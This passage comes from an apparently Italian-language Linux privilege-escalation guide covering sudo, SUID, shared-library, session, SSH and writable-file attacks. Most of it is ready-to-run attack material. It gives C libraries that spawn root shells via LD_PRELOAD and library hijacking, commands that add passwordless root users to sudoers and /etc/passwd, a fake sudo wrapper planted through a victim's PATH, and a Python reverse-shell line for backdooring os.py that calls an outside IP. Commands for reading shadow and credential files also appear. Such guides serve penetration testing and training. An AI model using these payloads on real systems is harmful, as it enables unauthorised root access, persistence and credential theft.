• Why it works: Per le shell non interattive, Bash valuta $BASH_ENV e importa (sources) quel file prima di eseguire lo script target. Molte regole sudo permettono di eseguire uno script o un wrapper di shell. Se BASH_ENV è preservato da sudo, il tuo file viene sourced con privilegi root.

• Requisiti:

• Una regola sudo che puoi eseguire (qualsiasi target che invochi /bin/bash in modo non interattivo, o qualsiasi bash script).

• BASH_ENV presente in env_keep (verifica con sudo -l).

• PoC:

cat > /dev/shm/shell.sh <<'EOF'
#!/bin/bash
/bin/bash
EOF
chmod +x /dev/shm/shell.sh
BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo   # or any permitted script/binary that triggers bash
# You should now have a root shell

• Hardening:
• Rimuovere BASH_ENV (e ENV) da env_keep, preferire env_reset.
• Evitare wrapper di shell per comandi autorizzati da sudo; usare binari minimi.
• Considerare logging I/O di sudo e alerting quando vengono usate variabili d’ambiente preservate.

Sudo execution bypassing paths

Jump per leggere altri file o usare symlinks. Ad esempio nel file sudoers: hacker10 ALL= (root) /bin/less /var/log/*

sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less

ln /etc/shadow /var/log/new
sudo less /var/log/new #Use symlinks to read any file

Se viene usato un wildcard (*), è ancora più facile:

sudo less /var/log/../../etc/shadow #Read shadow
sudo less /var/log/something /etc/shadow #Red 2 files

Contromisure: https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/

Sudo command/SUID binary senza percorso del comando

Se la sudo permission è concessa a un singolo comando senza specificare il percorso: hacker10 ALL= (root) less puoi sfruttarlo cambiando la variabile PATH

export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less

Questa tecnica può anche essere utilizzata se un binario suid esegue un altro comando senza specificarne il percorso (controlla sempre con strings il contenuto di un binario SUID strano).

Payload examples to execute.

SUID binary con percorso del comando

Se il binario suid esegue un altro comando specificando il percorso, allora puoi provare a export a function chiamata come il comando che il file suid sta invocando.

Per esempio, se un binario suid chiama /usr/sbin/service apache2 start devi provare a creare la funzione e exportarla:

function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service

Quindi, quando invoci il suid binary, questa funzione verrà eseguita

LD_PRELOAD & LD_LIBRARY_PATH

La variabile di ambiente LD_PRELOAD viene usata per specificare una o più librerie condivise (.so) da caricare dal loader prima di tutte le altre, inclusa la libreria C standard (libc.so). Questo processo è noto come precaricamento di una libreria.

Tuttavia, per mantenere la sicurezza del sistema e prevenire lo sfruttamento di questa funzionalità, in particolare con eseguibili suid/sgid, il sistema impone alcune condizioni:

• Il loader ignora LD_PRELOAD per gli eseguibili in cui il real user ID (ruid) non corrisponde all’effective user ID (euid).
• Per gli eseguibili con suid/sgid, vengono precaricate solo le librerie in percorsi standard che sono anch’esse suid/sgid.

L’escalation di privilegi può verificarsi se hai la possibilità di eseguire comandi con sudo e l’output di sudo -l include la direttiva env_keep+=LD_PRELOAD. Questa configurazione permette alla variabile di ambiente LD_PRELOAD di persistere ed essere riconosciuta anche quando i comandi vengono eseguiti con sudo, potenzialmente portando all’esecuzione di codice arbitrario con privilegi elevati.

Defaults        env_keep += LD_PRELOAD

Salva come /tmp/pe.c

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}

Quindi compilalo usando:

cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles

Infine, escalate privileges eseguendo

sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo

Caution

Una privesc simile può essere sfruttata se l’attaccante controlla l’env variable LD_LIBRARY_PATH, poiché controlla il percorso in cui verranno cercate le librerie.

#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}

# Compile & execute
cd /tmp
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
sudo LD_LIBRARY_PATH=/tmp <COMMAND>

SUID Binary – .so injection

Quando ci si imbatte in un binary con permessi SUID che sembra insolito, è buona pratica verificare se sta caricando correttamente i file .so. Questo può essere verificato eseguendo il seguente comando:

strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"

Ad esempio, incontrare un errore come “open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)” suggerisce un potenziale per lo sfruttamento.

Per sfruttarlo, si crea un file C, ad esempio “/path/to/.config/libcalc.c”, contenente il seguente codice:

#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}

Questo codice, una volta compilato ed eseguito, mira ad elevare i privilegi manipolando i permessi dei file ed eseguendo una shell con privilegi elevati.

Compila il file C sopra in un shared object (.so) con:

gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c

Infine, l’esecuzione del binario SUID interessato dovrebbe attivare l’exploit, consentendo un potenziale compromesso del sistema.

Shared Object Hijacking

# Lets find a SUID using a non-standard library
ldd some_suid
something.so => /lib/x86_64-linux-gnu/something.so

# The SUID also loads libraries from a custom location where we can write
readelf -d payroll  | grep PATH
0x000000000000001d (RUNPATH)            Library runpath: [/development]

Ora che abbiamo trovato un SUID binary che carica una library da una folder in cui possiamo scrivere, creiamo la library in quella folder con il nome necessario:

//gcc src.c -fPIC -shared -o /development/libshared.so
#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
setresuid(0,0,0);
system("/bin/bash -p");
}

Se ottieni un errore come

./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name

ciò significa che la libreria che hai generato deve avere una funzione chiamata a_function_name.

GTFOBins

GTFOBins è una lista curata di binari Unix che possono essere sfruttati da un attaccante per bypassare le restrizioni di sicurezza locali. GTFOArgs è lo stesso ma per i casi in cui puoi only inject arguments in a command.

Il progetto raccoglie funzioni legittime di binari Unix che possono essere abusate per uscire da shell ristrette, escalare o mantenere privilegi elevati, trasferire file, avviare bind and reverse shells e facilitare altri task di post-exploitation.

gdb -nx -ex ‘!sh’ -ex quit
sudo mysql -e ‘! /bin/sh’
strace -o /dev/null /bin/sh
sudo awk ‘BEGIN {system(“/bin/sh”)}’

\n \n GTFOBins\n

\n \n GTFOArgs\n

FallOfSudo

Se puoi eseguire sudo -l puoi usare lo strumento FallOfSudo per verificare se trova un modo per sfruttare qualsiasi regola sudo.

Reusing Sudo Tokens

Nei casi in cui hai sudo access ma non la password, puoi escalare i privilegi waiting for a sudo command execution and then hijacking the session token.

Requirements to escalate privileges:

• Hai già una shell come utente “sampleuser”
• “sampleuser” abbia usato sudo per eseguire qualcosa negli ultimi 15 minuti (per default questa è la durata del sudo token che ci permette di usare sudo senza inserire alcuna password)
• cat /proc/sys/kernel/yama/ptrace_scope è 0
• gdb è accessibile (puoi caricarlo)

(Puoi abilitare temporaneamente ptrace_scope con echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope o permanentemente modificando /etc/sysctl.d/10-ptrace.conf impostando kernel.yama.ptrace_scope = 0)

If all these requirements are met, you can escalate privileges using: https://github.com/nongiach/sudo_inject

• Il primo exploit (exploit.sh) creerà il binario activate_sudo_token in /tmp. Puoi usarlo per attivare il sudo token nella tua sessione (non otterrai automaticamente una shell root, esegui sudo su):

bash exploit.sh
/tmp/activate_sudo_token
sudo su

• Il secondo exploit (exploit_v2.sh) creerà una shell sh in /tmp posseduta da root con setuid

bash exploit_v2.sh
/tmp/sh -p

• Il terzo exploit (exploit_v3.sh) creerà un sudoers file che rende i sudo tokens eterni e consente a tutti gli utenti di usare sudo

bash exploit_v3.sh
sudo su

/var/run/sudo/ts/<Username>

Se hai permessi di scrittura nella cartella o su uno qualsiasi dei file creati all’interno della cartella puoi usare il binario write_sudo_token per creare un sudo token per un utente e PID.
Ad esempio, se puoi sovrascrivere il file /var/run/sudo/ts/sampleuser e hai una shell come quell’utente con PID 1234, puoi ottenere privilegi sudo senza dover conoscere la password eseguendo:

./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser

/etc/sudoers, /etc/sudoers.d

Il file /etc/sudoers e i file all’interno di /etc/sudoers.d configurano chi può usare sudo e come. Questi file per impostazione predefinita possono essere letti solo dall’utente root e dal gruppo root.
Se puoi leggere questo file potresti essere in grado di ottenere alcune informazioni interessanti, e se puoi scrivere qualsiasi file sarai in grado di ottenere privilegi elevati.

ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/

Se puoi scrivere, puoi abusare di questo permesso.

echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README

Un altro modo per abusare di questi permessi:

# makes it so every terminal can sudo
echo "Defaults !tty_tickets" > /etc/sudoers.d/win
# makes it so sudo never times out
echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win

DOAS

Esistono alcune alternative al binario sudo, come doas su OpenBSD; ricorda di controllare la sua configurazione in /etc/doas.conf

permit nopass demo as root cmd vim

Sudo Hijacking

Se sai che un user si connette di solito a una macchina e usa sudo per elevare i privilegi e hai ottenuto una shell nel contesto di quell’user, puoi creare un nuovo eseguibile sudo che eseguirà il tuo codice come root e poi il comando dell’user. Poi, modifica il $PATH del contesto user (ad esempio aggiungendo il nuovo percorso in .bash_profile) così quando l’user esegue sudo, viene eseguito il tuo eseguibile sudo.

Nota che se l’user usa una shell diversa (non bash) dovrai modificare altri file per aggiungere il nuovo percorso. Per esempio sudo-piggyback modifica ~/.bashrc, ~/.zshrc, ~/.bash_profile. Puoi trovare un altro esempio in bashdoor.py

Oppure eseguendo qualcosa del tipo:

cat >/tmp/sudo <<EOF
#!/bin/bash
/usr/bin/sudo whoami > /tmp/privesc
/usr/bin/sudo "\$@"
EOF
chmod +x /tmp/sudo
echo ‘export PATH=/tmp:$PATH’ >> $HOME/.zshenv # or ".bashrc" or any other

# From the victim
zsh
echo $PATH
sudo ls

Libreria condivisa

ld.so

Il file /etc/ld.so.conf indica da dove provengono i file di configurazione caricati. Tipicamente, questo file contiene il seguente percorso: include /etc/ld.so.conf.d/*.conf

Ciò significa che i file di configurazione in /etc/ld.so.conf.d/*.conf verranno letti. Questi file di configurazione puntano ad altre cartelle in cui verranno cercate le librerie. Per esempio, il contenuto di /etc/ld.so.conf.d/libc.conf è /usr/local/lib. Ciò significa che il sistema cercherà le librerie all’interno di /usr/local/lib.

Se per qualche motivo un utente ha permessi di scrittura su uno qualsiasi dei percorsi indicati: /etc/ld.so.conf, /etc/ld.so.conf.d/, su qualsiasi file all’interno di /etc/ld.so.conf.d/ o su qualsiasi cartella indicata nei file di configurazione di /etc/ld.so.conf.d/*.conf, potrebbe essere in grado di escalare i privilegi.
Dai un’occhiata a come sfruttare questa misconfigurazione nella pagina seguente:

ld.so privesc exploit example

RPATH

level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
0x00000001 (NEEDED)                     Shared library: [libc.so.6]
0x0000000f (RPATH)                      Library rpath: [/var/tmp/flag15]

level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 =>  (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)

Copiando la lib in /var/tmp/flag15/ verrà usata dal programma in questo punto come specificato nella variabile RPATH.

level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/

level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 =>  (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)

Quindi crea una libreria malevola in /var/tmp con gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6

#include<stdlib.h>
#define SHELL "/bin/sh"

int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
char *file = SHELL;
char *argv[] = {SHELL,0};
setresuid(geteuid(),geteuid(), geteuid());
execve(file,argv,0);
}

Capacità

Linux capabilities forniscono un sottoinsieme dei privilegi root disponibili a un processo. Questo suddivide efficacemente i privilegi root in unità più piccole e distintive. Ognuna di queste unità può poi essere concessa indipendentemente ai processi. In questo modo l’insieme completo dei privilegi è ridotto, diminuendo i rischi di exploitation.
Read the following page to learn more about capabilities and how to abuse them:

Linux Capabilities

Permessi delle directory

In una directory, il bit “execute” implica che l’utente interessato possa “cd” nella cartella.
Il bit “read” implica che l’utente possa elencare i file, e il bit “write” implica che l’utente possa cancellare e creare nuovi file.

ACLs

Access Control Lists (ACLs) rappresentano il livello secondario di permessi discrezionali, in grado di sovrascrivere i tradizionali permessi ugo/rwx. Questi permessi migliorano il controllo sull’accesso a file o directory consentendo o negando diritti a utenti specifici che non sono i proprietari o membri del gruppo. Questo livello di granularità garantisce una gestione degli accessi più precisa. Further details can be found here.

Concedi all’utente “kali” permessi di lettura e scrittura su un file:

setfacl -m u:kali:rw file.txt
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)

setfacl -b file.txt #Remove the ACL of the file

Ottieni file con ACL specifiche dal sistema:

getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null

Aprire sessioni shell

In vecchie versioni potresti hijack alcune shell session di un utente diverso (root).
Nelle versioni più recenti potrai connetterti alle screen sessions solo del tuo stesso utente. Tuttavia, potresti trovare informazioni interessanti all’interno della sessione.

screen sessions hijacking

Elenca screen sessions

screen -ls
screen -ls <username>/ # Show another user' screen sessions

Collegarsi a una sessione

screen -dr <session> #The -d is to detach whoever is attached to it
screen -dr 3350.foo #In the example of the image
screen -x [user]/[session id]

dirottamento delle sessioni tmux

Questo era un problema delle vecchie versioni di tmux. Non sono riuscito a dirottare una sessione tmux (v2.1) creata da root come utente non privilegiato.

Elenca le sessioni tmux

tmux ls
ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess

Collegarsi a una sessione

tmux attach -t myname #If you write something in this session it will appears in the other opened one
tmux attach -d -t myname #First detach the session from the other console and then access it yourself

ls -la /tmp/dev_sess #Check who can access it
rw-rw---- 1 root devs 0 Sep  1 06:27 /tmp/dev_sess #In this case root and devs can
# If you are root or devs you can access it
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket

Controlla Valentine box from HTB per un esempio.

SSH

Debian OpenSSL Predictable PRNG - CVE-2008-0166

Tutte le chiavi SSL e SSH generate su sistemi basati su Debian (Ubuntu, Kubuntu, ecc.) tra settembre 2006 e il 13 maggio 2008 potrebbero essere affette da questo bug.
Questo bug si verifica quando si crea una nuova chiave ssh su quei sistemi operativi, poiché erano possibili solo 32,768 variazioni. Ciò significa che tutte le possibilità possono essere calcolate e avendo la chiave pubblica ssh puoi cercare la corrispondente chiave privata. Puoi trovare le possibilità calcolate qui: https://github.com/g0tmi1k/debian-ssh

SSH Valori di configurazione interessanti

• PasswordAuthentication: Specifica se l’autenticazione via password è consentita. Il valore predefinito è no.
• PubkeyAuthentication: Specifica se l’autenticazione tramite chiave pubblica è consentita. Il valore predefinito è yes.
• PermitEmptyPasswords: Quando l’autenticazione via password è consentita, specifica se il server permette il login a account con password vuote. Il valore predefinito è no.

PermitRootLogin

Specifica se root può effettuare il login usando ssh, il valore predefinito è no. Valori possibili:

• yes: root può effettuare il login usando password e chiave privata
• without-password o prohibit-password: root può effettuare il login solo con una chiave privata
• forced-commands-only: root può effettuare il login solo usando una chiave privata e se è specificata l’opzione command
• no : no

AuthorizedKeysFile

Specifica i file che contengono le chiavi pubbliche che possono essere usate per l’autenticazione degli utenti. Può contenere token come %h, che verrà sostituito con la home directory. Puoi indicare percorsi assoluti (che iniziano con /) o percorsi relativi dalla home dell’utente. Per esempio:

AuthorizedKeysFile    .ssh/authorized_keys access

Quella configurazione indicherà che se provi a effettuare il login con la private key dell’utente “testusername”, ssh confronterà la public key della tua key con quelle presenti in /home/testusername/.ssh/authorized_keys e /home/testusername/access

ForwardAgent/AllowAgentForwarding

SSH agent forwarding permette di usare le tue SSH keys locali invece di lasciare keys (senza passphrases!) sul tuo server. In questo modo potrai collegarti via ssh a un host e da lì collegarti a un altro host usando la key presente nel tuo host iniziale.

Devi impostare questa opzione in $HOME/.ssh.config così:

Host example.com
ForwardAgent yes

Nota che se Host è * ogni volta che l’utente si connette a una macchina diversa, quell’host potrà accedere alle chiavi (il che rappresenta un problema di sicurezza).

Il file /etc/ssh_config può sovrascrivere queste opzioni e consentire o negare questa configurazione.
Il file /etc/sshd_config può consentire o negare lo ssh-agent forwarding con la parola chiave AllowAgentForwarding (il valore predefinito è allow).

Se trovi che Forward Agent è configurato in un ambiente, leggi la seguente pagina poiché potresti essere in grado di abusarne per scalare i privilegi:

SSH Forward Agent exploitation

File interessanti

File dei profili

Il file /etc/profile e i file sotto /etc/profile.d/ sono script che vengono eseguiti quando un utente avvia una nuova shell. Pertanto, se puoi scrivere o modificare uno di essi puoi scalare i privilegi.

ls -l /etc/profile /etc/profile.d/

Se viene trovato uno script di profilo sospetto dovresti controllarlo per dettagli sensibili.

Passwd/Shadow Files

A seconda del sistema operativo i file /etc/passwd e /etc/shadow potrebbero usare un nome diverso o potrebbe esserci una copia di backup. Pertanto è consigliato trovarli tutti e controllare se puoi leggerli per vedere se ci sono hash all’interno dei file:

#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
#Shadow equivalent files
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null

In alcune occasioni puoi trovare password hashes all’interno del file /etc/passwd (o equivalente)

grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null

Scrivibile /etc/passwd

Per prima cosa, genera una password con uno dei seguenti comandi.

openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'

Quindi aggiungi l’utente hacker e imposta la password generata.

hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash

Es.: hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash

Ora puoi usare il comando su con hacker:hacker

In alternativa, puoi usare le seguenti righe per aggiungere un utente fittizio senza password.
ATTENZIONE: potresti ridurre la sicurezza attuale della macchina.

echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy

NOTA: Su piattaforme BSD /etc/passwd si trova in /etc/pwd.db e /etc/master.passwd, inoltre /etc/shadow è rinominato in /etc/spwd.db.

Dovresti verificare se puoi scrivere in alcuni file sensibili. Per esempio, puoi scrivere in qualche file di configurazione di servizio?

find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user

Ad esempio, se sulla macchina è in esecuzione un server tomcat e puoi modificare il file di configurazione del servizio Tomcat all’interno di /etc/systemd/, allora puoi modificare le righe:

ExecStart=/path/to/backdoor
User=root
Group=root

La tua backdoor verrà eseguita la prossima volta che tomcat verrà avviato.

Controlla le cartelle

Le seguenti cartelle potrebbero contenere backup o informazioni interessanti: /tmp, /var/tmp, /var/backups, /var/mail, /var/spool/mail, /etc/exports, /root (Probabilmente non sarai in grado di leggere l’ultima ma prova)

ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root

Posizione insolita/Owned files

#root owned files in /home folders
find /home -user root 2>/dev/null
#Files owned by other users in folders owned by me
for d in `find /var /etc /home /root /tmp /usr /opt /boot /sys -type d -user $(whoami) 2>/dev/null`; do find $d ! -user `whoami` -exec ls -l {} \; 2>/dev/null; done
#Files owned by root, readable by me but not world readable
find / -type f -user root ! -perm -o=r 2>/dev/null
#Files owned by me or world writable
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
#Writable files by each group I belong to
for g in `groups`;
do printf "  Group $g:\n";
find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
done
done

File modificati negli ultimi minuti

find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null

File DB Sqlite

find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null

*_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml file

find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null

File nascosti

find / -type f -iname ".*" -ls 2>/dev/null

Script/Binari in PATH

for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done

File web

ls -alhR /var/www/ 2>/dev/null
ls -alhR /srv/www/htdocs/ 2>/dev/null
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/ 2>/dev/null

Backups

find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null

File conosciuti che contengono password

Leggi il codice di linPEAS, cerca diversi file che potrebbero contenere password.
Un altro strumento interessante che puoi usare a questo scopo è: LaZagne che è un’applicazione open source usata per recuperare molte password memorizzate su un computer locale per Windows, Linux & Mac.

Registri

Se riesci a leggere i log, potresti riuscire a trovare informazioni interessanti/confidenziali al loro interno. Più strano è il log, più interessante sarà (probabilmente).
Inoltre, alcuni audit logs configurati in modo errato (backdoored?) possono permetterti di registrare password all’interno degli audit logs come spiegato in questo post: https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/.

aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null

Per poter leggere i log il gruppo adm sarà davvero utile.

File di shell

~/.bash_profile # if it exists, read it once when you log in to the shell
~/.bash_login # if it exists, read it once if .bash_profile doesn't exist
~/.profile # if it exists, read once if the two above don't exist
/etc/profile # only read if none of the above exists
~/.bashrc # if it exists, read it every time you start a new shell
~/.bash_logout # if it exists, read when the login shell exits
~/.zlogin #zsh shell
~/.zshrc #zsh shell

Generic Creds Search/Regex

Dovresti anche cercare file che contengono la parola “password” nel nome o all’interno del contenuto, e controllare anche IP ed email nei log, o regexp per hash.\
Non elencherò qui come fare tutto questo, ma se sei interessato puoi controllare gli ultimi controlli che linpeas esegue.

File scrivibili

Python library hijacking

Se sai da dove verrà eseguito uno script python e puoi puoi scrivere in quella cartella oppure puoi modificare python libraries, puoi modificare la OS library e backdoorarla (se puoi scrivere nel percorso dove verrà eseguito lo script python, copia e incolla la libreria os.py).

Per backdoor the library aggiungi alla fine della libreria os.py la seguente riga (cambia IP e PORT):

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Sfruttamento di logrotate

Una vulnerabilità in logrotate permette agli utenti con permessi di scrittura su un file di log o sulle sue directory genitrici di ottenere potenzialmente privilegi elevati. Questo perché logrotate, spesso eseguito come root, può essere manipolato per eseguire file arbitrari, specialmente in directory come /etc/bash_completion.d/. È importante controllare i permessi non solo in /var/log ma anche in qualsiasi directory in cui viene applicata la rotazione dei log.

Tip

Questa vulnerabilità interessa logrotate nella versione 3.18.0 e precedenti

Informazioni più dettagliate sulla vulnerabilità sono disponibili a questa pagina: https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition.

È possibile sfruttare questa vulnerabilità con logrotten.

Questa vulnerabilità è molto simile a CVE-2016-1247 (nginx logs), quindi ogni volta che scopri di poter modificare i log, verifica chi gestisce quei log e controlla se puoi ottenere privilegi elevati sostituendo i log con symlinks.

/etc/sysconfig/network-scripts/ (Centos/Redhat)

Riferimento vulnerabilità: https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f

Se, per qualunque motivo, un utente è in grado di scrivere uno script ifcf-<whatever> in /etc/sysconfig/network-scripts o di modificare uno esistente, allora il tuo sistema è pwned.

I network scripts, ifcg-eth0 per esempio, sono usati per le connessioni di rete. Sembrano esattamente file .INI. Tuttavia, vengono sourced su Linux da Network Manager (dispatcher.d).

Nel mio caso, l’attributo NAME= in questi network scripts non viene gestito correttamente. Se nel NAME c’è uno spazio bianco/blank il sistema prova a eseguire la parte dopo lo spazio. Questo significa che tutto ciò che segue il primo spazio è eseguito come root.

Per esempio: /etc/sysconfig/network-scripts/ifcfg-1337

NAME=Network /bin/id
ONBOOT=yes
DEVICE=eth0

(Nota lo spazio vuoto tra Network e /bin/id)

init, init.d, systemd, e rc.d

La directory /etc/init.d ospita script per System V init (SysVinit), il classico sistema di gestione dei servizi Linux. Include script per start, stop, restart, e talvolta reload dei servizi. Questi possono essere eseguiti direttamente o tramite collegamenti simbolici presenti in /etc/rc?.d/. Un percorso alternativo sui sistemi Redhat è /etc/rc.d/init.d.

D’altra parte, /etc/init è associata a Upstart, un più recente sistema di gestione dei servizi introdotto da Ubuntu, che utilizza file di configurazione per le operazioni di gestione dei servizi. Nonostante la transizione a Upstart, gli script SysVinit vengono ancora utilizzati insieme alle configurazioni di Upstart grazie a uno strato di compatibilità in Upstart.

systemd emerge come un moderno inizializzatore e service manager, offrendo funzionalità avanzate come l’avvio on-demand dei daemon, la gestione degli automount e gli snapshot dello stato di sistema. Organizza i file in /usr/lib/systemd/ per i pacchetti di distribuzione e /etc/systemd/system/ per le modifiche dell’amministratore, semplificando l’amministrazione del sistema.

Altri trucchi

NFS Privilege escalation

NFS no_root_squash/no_all_squash misconfiguration PE

Escaping from restricted Shells

Escaping from Jails

Cisco - vmanage

Cisco - vmanage

Android rooting frameworks: manager-channel abuse

I framework di rooting Android spesso intercettano una syscall per esporre funzionalità privilegiate del kernel a un userspace manager. Autenticazioni deboli del manager (es., controlli di firma basati sull’ordine degli FD o schemi di password scadenti) possono permettere a un’app locale di fingersi il manager e ottenere escalation a root su dispositivi già rootati. Per saperne di più e i dettagli di exploitation, vedi:

Android Rooting Frameworks Manager Auth Bypass Syscall Hook

VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244)

La service discovery basata su regex in VMware Tools/Aria Operations può estrarre un percorso binario dalle command line dei processi ed eseguirlo con -v in un contesto privilegiato. Pattern permissivi (es., usando \S) possono corrispondere a listener piazzati dall’attaccante in posizioni scrivibili (es., /tmp/httpd), portando all’esecuzione come root (CWE-426 Untrusted Search Path).

Per saperne di più e vedere un modello generalizzato applicabile ad altri stack di discovery/monitoring, vedi:

Vmware Tools Service Discovery Untrusted Search Path Cve 2025 41244

Protezioni di sicurezza del kernel

• https://github.com/a13xp0p0v/kconfig-hardened-check
• https://github.com/a13xp0p0v/linux-kernel-defence-map

Ulteriore aiuto

Static impacket binaries

Linux/Unix Privesc Tools

Miglior tool per cercare Linux local privilege escalation vectors: LinPEAS

LinEnum: https://github.com/rebootuser/LinEnum(-t option)
Enumy: https://github.com/luke-goddard/enumy
Unix Privesc Check: http://pentestmonkey.net/tools/audit/unix-privesc-check
Linux Priv Checker: www.securitysift.com/download/linuxprivchecker.py
BeeRoot: https://github.com/AlessandroZ/BeRoot/tree/master/Linux
Kernelpop: Enumerate kernel vulns ins linux and MAC https://github.com/spencerdodd/kernelpop
Mestaploit: multi/recon/local_exploit_suggester
Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester
EvilAbigail (physical access): https://github.com/GDSSecurity/EvilAbigail
Recopilation of more scripts: https://github.com/1N3/PrivEsc

Riferimenti

• 0xdf – HTB Planning (Crontab UI privesc, zip -P creds reuse)

• alseambusher/crontab-ui

• https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

• https://payatu.com/guide-linux-privilege-escalation/

• https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744

• http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html

• https://touhidshaikh.com/blog/?p=827

• https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf

• https://github.com/frizb/Linux-Privilege-Escalation

• https://github.com/lucyoa/kernel-exploits

• https://github.com/rtcrowley/linux-private-i

• https://www.linux.com/news/what-socket/

• https://muzec0318.github.io/posts/PG/peppo.html

• https://www.linuxjournal.com/article/7744

